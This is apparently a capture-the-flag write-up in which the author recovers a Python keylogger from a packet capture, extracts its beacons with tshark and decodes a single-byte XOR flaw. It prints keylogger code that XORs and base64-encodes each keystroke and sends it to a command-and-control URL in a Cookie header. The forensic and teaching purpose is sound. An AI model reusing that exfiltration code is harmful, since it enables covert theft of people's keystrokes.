Hacker Holidays Day 4: Packed Light
You get a short packet capture and a tip from @0xMia: her laptop keeps pinging some address on port 8080 every second, and the request headers are “giving ‘not a real app’”. Find the covert channel, reassemble it, decode it.
Finding the malware
I opened the pcap in Wireshark, filtered on http, and sorted by Length. The
biggest response was a GET /temp/updates.py returning the source of a script
served from the same host:
Spoiler: the keylogger source
def getkey():
return "H0t3lSt@ff0Nly" + "K3epS3cr3t!"
def xor(data: bytes, key: bytes) -> bytes:
return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))
def sendltr(character):
encrypted = xor(character.encode('utf-8'), getkey().encode('utf-8'))
b64_string = base64.b64encode(encrypted).decode('utf-8')
headers = {"Cookie": f"hotel_sess_state={b64_string}"}
requests.get(C2_URL, headers=headers, timeout=0.5)
It is a keylogger. Every keypress gets XORed, base64 encoded, then sent out in a
Cookie header on a GET to the C2. That explains the pings every second.
Pulling the beacon out
When the server hands you the source, read it. With the mechanism known, I pulled
the Cookie value from each beacon in order:
tshark -r capture.pcap -Y "http.request" -T fields -e http.cookie
That gave 30 base64 strings, one per keystroke.
The key mistake
To decode I had to base64 decode, then XOR with the key. But the script encrypts
one character at a time, so the XOR loop never advances past the first byte of the
key. Every keystroke is XORed with the same first letter. The full key is
H0t3lSt@ff0NlyK3epS3cr3t!, so the byte that matters is H.
Spoiler: decoding to the flag
I ran the 30 values through CyberChef: From Base64, then XOR with key H. Out
came the flag, redacted here.